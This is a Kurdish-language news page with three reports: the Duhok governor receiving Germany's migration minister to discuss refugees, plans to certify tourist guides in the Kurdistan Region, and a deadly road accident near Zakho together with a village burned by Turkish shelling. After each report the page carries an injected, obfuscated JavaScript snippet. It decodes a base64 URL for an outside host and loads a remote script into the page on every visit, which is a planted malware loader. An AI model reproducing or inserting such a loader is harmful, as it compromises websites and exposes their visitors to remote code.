د. عەلی تەتەر، پارێزگارێ دهۆكێ ل كوچكا مێهڤانداریان پێشوازی ل یواخیم شتامب، وەزیرێ كۆچ و كۆچبەرێن حوكمەتا ئەلمانیا فیدرال و شاندێ د گەل دا كر.
د هەڤدیتنەكێ دا بەحسێ پەیوەندیێن هەرێما كوردستانێ ل گەل وەلاتێ ئەلمانیا و رەوشا ئاوارە و پەنابەران د ناڤ و دەرڤەی كەمپان دا ل سنوورێ پارێزگەهێ و ئەو هاریكاریێن حوكمەتا ئەلمانیا ب رێكێن جودا جودا، نەخاسمە ب رێكا رێكخراوێن مرۆڤایەتی پێشكێشی هەرێما كوردستانێ و ئاوارەیان دكەت هاتە كرن.
وەزیرێ كۆچ و كۆچبەرێن ئەلمانیا فیدرال سوپاسیا خەلكێ دەڤەرێ و كارگێریا پارێزگەها دهۆكێ كر، ل دۆر وێ سەرەدەریا مرۆڤایەتی یا جوان یا ل گەل ئاوارە و پەنابەران هاتیە كرن، هەروەسا دەستخوشی ل كارگێریا پارێزگەها دهۆكێ و سازیێن پەیوەندیدار كر، ژبۆ بەرهنگاربوونا وان ل هەر قەیرانەكێ و چارەسەركرنا هەموو ئالۆزیان و سۆز دا، كو حوكمەتا ئەلمانیا ل دووڤ شیانان هاریكاریا هەرێما كوردستانێ و ئاوارە و پەنابەران بكەت.
پارێزگارێ دهۆكێ سوپاسیا حوكمەتا ئەلمانیا فیدرال كر، هەمبەر ئەو هریكاریێن بەردەوام، نەخاسمە ل دمێ قەیرانا پێشكیشی هەرێما كوردستانێ و ب تایبەتی بۆ پارێزگەهێ كرین و خواست هەموو جۆرێن پەیوەندیان ل گەل وەلاتێ ئەلمانیا پتر پێش بكەڤن و حوكمەتا ئەلمانیا وەكو جاران هاریكاریا هەرێما كوردستانێ و پارێزگەها دهۆكێ بكەت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

هەولێر، قائید میرۆ:

بەرپرسەكێ دەستەیا گەشتوگوزارا هەرێما كوردستانێ‌ ئاشكرا كر، دەرچوویێن پشكێن گەشتوگوزارێ وەكی رێبەرێن گەشتیاری دێ هێنە دامەزراندن و دبێژیت: پشتی خۆلێن راهێنانێ دێ باوەرنامەیێن رێبەرێن گەشتیاری ژی وەرگرن.
سیروان تەوفیق، رێڤەبەرێ بازاڕكرنێ ل دەستەیا گەشتوگوزارێ بۆ رۆژناما ئەڤرۆ دیار كر، سێ هزار و 500 كەسان فۆرمێن دامەزراندنێ بۆ رێبەرێن گەشتیاری پێشكێش كرینە و گۆت: «بڕیارە خۆلێن راهێنانێ بۆ بهێنە ڤەكرن، چونكی ئەو كەسێن دبنە رێبەرێن گەشتیاری پێدڤی ب هندەك مەرج و پیڤەران هەنە، ب تایبەتی دڤێت ژبلی زمانێ كوردی زمانەكێ دی ژی بزانیت، چونكی رێبەرێ گەشتیاری دێ دگەل گەشتیارێن بیانی بیت، نوكە ل سلێمانیێ خۆلێن راهێنانێ بۆ هاتینە ڤەكرن و بڕیارە ل باژێڕێن دی ژی بهێنە ڤەكرن».
سیروان تەوفیق گۆتژی: «پشتی دەرچوونا وان رێبەرێن گەشتیاری ب فەرمانا كارگێڕی دێ باوەرنامێ ژی وەرگرن و هەر ئێك ژ وان دگەل كۆمپانیەكا گەشتیاری دێ كار كەت و هێتە دامەزراندن، ئەڤێن دخوازن ب شێوەیێ سەربخوە ژی كار بكەن، دیسا دێ باوەرنامە هەبیت و دشێن وەكی رێبەرێن گەشتیاری كارێن خۆ بكەن».

زاخۆ، عەلی حاجی:

د روودانەكا هاتنوچوونێ‌ دا د ناڤبەرا دو تڕۆمبێلان دا ل سەر ڕێیا سەرەكی یا زاخۆ بۆ باتیفا ل شەڤا ئەینیێ ل سەر شەمبیێ سێ كەسان گیانێ خوە ژ دەست دا و نەه كەس ژی بریندار بوون.
رائید محەمەد سلێمان، بەرپرسێ ڕاگەهاندنا رێڤەبەریا هاتنوچوونا زاخۆ ل دۆر روودانێ بۆ ئەڤرۆ گۆت: «ل دەمژمێر 11:30 خولەكێ‌ شەڤا ئەینی ل سەر شەمبیێ و ل سر ڕێیا سەرەكی یا زاخۆ بۆ باتیفا ئەو روودانە د ناڤبەرا دو تڕۆمبێلان دا روودا، تیمێن مە گەهشتنە جهێ روودانێ ژ بۆ زانینا ئەگەرێن دروست یێن روودانێ».
ئەمیر عەلی، بەرپرسێ ڕاگەهاندنا ڕێڤەبەریا گشتی یا ساخلەمیا زاخۆ بۆ ئەڤرۆ گۆت: «د وێ روودانا هاتنوچوونێ‌ دا ١٢ كەس بوونە قوربانی، كو سێ كەسان گیانێ خوە ژ دەست دا و نەه كەس ژی بریندار بوون، ئەو كەسێن گیانێ خوە ژ دەست داین ژ ئێك خێزانن، كو دبنە باب و كور و كچ، ژ لایێ تیمێن ساخلەمیا زاخۆ ڤە خزمەتا برینداران هاتە كرن، كو برینێن جورا و جۆربوون و بۆ پشكەك ژ وان ژی نەشتەرگەری هاتنە كرن و دبن چاڤدێریا نۆشداران دانە، ئەو زاروویا ١١ سالی یا گیانێ خوە ژ دەست دای، مە گەلەك بزاڤ كرن، داكو گیانێ وێ ب سلامەت بیت، لێ ژ بەر گرانیا برینێن وێ گیانێ خوە ژ دەست دا».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

زنار تۆڤی:

ژ ئەنجامێ شەڕێ پەكەكێ و سۆپایێ توركیا ئاگر بەربوویە ئاقارێ گوندێ دەرگەلا موسا بەگێ ل دەڤەرا بەرواریا و پڕانیا ئاقارێ گوندی هاتیە سۆتن و گوندی ژی هاتیە چۆلكرن.
برهان جەلالبەگ، وەلاتیەكێ گوندێ دەرگەلا موسا بەگێیە ل دەڤەرا بەرواری بالا‌، بۆ رۆژناما ئەڤرۆ دیار كر، توركیا دەوروبەرێن گوندێ وان توپبارانكرینە و چەندین گوللە تۆپ ل دەوروبەێن گوندی داینە و ژ ئەنجامێ وێ تۆپبارانێ پڕانیا ئاقارێ گوندی هاتیە سوتن و گوند ژی هاتیە چۆلكرن، بەری نوكە چار پێنج مال ل سەر گوندی بوون و خودان تەرشوكەوال بوون، پشتی گوند هاتیە بەردان ئەو مالێن تەرشوكەوال هەین، ژ نەچاری تەرشوكەوالێ خۆ فرۆت و نوكە ژی هێشتا ئاگر یێ ب ئاقارێ گوندی ڤە.
برهان گۆت: «بەری نوكە ژی ژ ئەگەرێ شەڕێ پەكەكێ و توركیا تۆپ ب كوتەلا ئاشێ ئاڤێ یێ تەحینا بەرواریا كەفتینە و زیانێن مەزن گەهاندینە ئاشی و ئەڤە هەیڤەكە ئاشێ مە ژی كارناكەت، دیسا ژ ئەگەرێ تۆپبارانا توركیا جۆكا ئاڤدانێ یا گوندی ل چەندین جهان شكەستییە و نوكە ئاڤ ناهێتە گوندی و بیستانێن مە ژی هشكبووینە».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();